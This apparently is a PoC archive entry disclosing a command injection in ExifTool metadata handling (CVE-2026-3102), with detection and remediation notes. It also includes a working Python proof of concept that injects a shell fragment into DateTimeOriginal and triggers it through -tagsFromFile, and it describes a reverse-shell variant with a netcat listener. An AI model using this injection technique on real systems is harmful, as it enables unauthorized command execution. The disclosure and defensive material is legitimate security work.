PoC Archive PoC Archive
High CVE-2026-3102 unpatched

ExifTool Metadata Field Command Injection (macOS) — CVE-2026-3102

by HORKimhab · 2026-07-05

Severity
High
CVE
CVE-2026-3102
Category
binary
Affected product
ExifTool
Affected versions
<= 13.49 (per source repository claim)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherHORKimhab
CVE / AdvisoryCVE-2026-3102
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsexiftool, command-injection, macos, metadata, reverse-shell, tagsfromfile, perl
RelatedN/A

Affected Target

FieldValue
Software / SystemExifTool
Versions Affected<= 13.49 (per source repository claim)
Language / PlatformBash / Python (PoC), ExifTool (Perl), macOS
Authentication RequiredNo (local tool invocation against attacker-crafted image metadata)
Network Access RequiredNo (triggers locally; reverse-shell payload requires outbound network)

Summary

The PoC demonstrates a command-injection pattern in ExifTool’s metadata tag-copy workflow: a crafted DateTimeOriginal value containing shell metacharacters is written into an image’s metadata, and when the image is later processed with -tagsFromFile ... "-FileCreateDate<DateTimeOriginal", the injected shell fragment is executed by the underlying command-execution path rather than being treated as inert metadata. The included scripts write a minimal PNG/JPEG, embed the injection payload, and trigger it, using a proof-of-file-creation and (in the .sh variant) an attacker-configurable reverse-shell payload template.


Vulnerability Details

Root Cause

Insufficient sanitization of metadata field values (specifically DateTimeOriginal) when they are subsequently used in a -TagsFromFile/tag-copy operation, allowing shell metacharacters embedded in the field to be interpreted and executed rather than treated as literal string data.

Attack Vector

  1. Attacker crafts a minimal valid image file (PNG/JPEG).
  2. Attacker uses ExifTool itself (or a crafted file) to set DateTimeOriginal to a value containing a shell-injection payload (e.g. '; touch /tmp/pwned; ... #).
  3. Victim (or an automated pipeline) runs ExifTool with -tagsFromFile ... "-FileCreateDate<DateTimeOriginal" against the crafted image.
  4. The injected shell fragment executes in the context of the process running ExifTool, running attacker-chosen commands (proof-of-concept: creating a marker file; optionally, spawning a reverse shell).

Impact

Command execution in the context of whatever user/process invokes the vulnerable ExifTool workflow against attacker-supplied images — on macOS this can lead to a reverse shell and further local compromise.


Environment / Lab Setup

Target:   macOS host with ExifTool <= 13.49 installed
Attacker: netcat listener (nc -lvnp <port>) for the reverse-shell variant; bash/python3 to run the PoC

Proof of Concept

PoC Script

See exiftool_poc.sh and exiftool_poc.py in this folder.

1
2
3
nc -lvnp 4444
chmod +x exiftool_poc.sh
DEBUG=1 ./exiftool_poc.sh   # or ./exiftool_poc.sh without debug output

exiftool_poc.sh builds a minimal PNG, injects a Python-reverse-shell payload into DateTimeOriginal, then triggers execution via -tagsFromFile ... "-FileCreateDate<DateTimeOriginal", reporting success if a marker file appears. exiftool_poc.py is a simplified, self-contained variant that only proves command execution by writing a marker file and log entry (no network callback).


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected child processes (bash, sh, python3, nc) spawned by an ExifTool invocation
  • Marker files such as /tmp/exiftool_pwned or /tmp/pwned_* present on disk
  • Outbound connections from a host shortly after processing an untrusted image with ExifTool

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationNever run exiftool -tagsFromFile (or similar tag-copy operations) against untrusted images without sandboxing; strip/validate metadata fields before further processing

References


Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-3102 on 2026-07-05. This repository originates from an account previously observed publishing mostly empty/stub CVE repos (a pattern associated with low-effort “CVE farming”), so it was treated with elevated scrutiny before mirroring. The two scripts were manually reviewed line-by-line: the reverse-shell payload requires the operator to fill in their own attacker IP/port placeholders, there is no obfuscation, no hardcoded external callback/download URL, and no behavior beyond the documented metadata-injection technique — no hidden or booby-trapped logic was found. Treat this PoC with continued caution given the source account’s history, and re-verify independently before relying on it operationally.

exiftool_poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from datetime import datetime

def run_cmd(cmd):
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return result.stdout + result.stderr
    except Exception as e:
        return str(e)

print("[+] ExifTool CVE-2026-3102 PoC (macOS)")

# Create dummy image
with open("poc_test.jpg", "wb") as f:
    f.write(b"\xFF\xD8\xFF\xE0" + b"\x00\x10JFIF" + b"\x00" * 100)

payload = f"touch /tmp/pwned_{int(datetime.now().timestamp())} && echo 'EXPLOITED at {datetime.now()}' >> /tmp/exiftool_poc.log"

print("[+] Writing malicious metadata...")
run_cmd(f'exiftool -n -DateTimeOriginal="2024:01:01 12:00:00\' && {payload} #" poc_test.jpg')

print("[+] Triggering vulnerability via -tagsFromFile...")
run_cmd(f'exiftool -n -tagsFromFile poc_test.jpg "-FileCreateDate<DateTimeOriginal" poc_test.jpg')

# Check
pwned_files = [f for f in os.listdir("/tmp") if f.startswith("pwned_")]
if pwned_files:
    print("✅ EXPLOIT SUCCESSFUL!")
    print("Pwned files:", pwned_files)
    with open("/tmp/exiftool_poc.log", "r") as f:
        print(f.read())
else:
    print("❌ Exploit did not trigger. Check version and platform.")

# Cleanup
for f in ["poc_test.jpg", "poc_test.jpg_original"]:
    if os.path.exists(f):
        os.remove(f)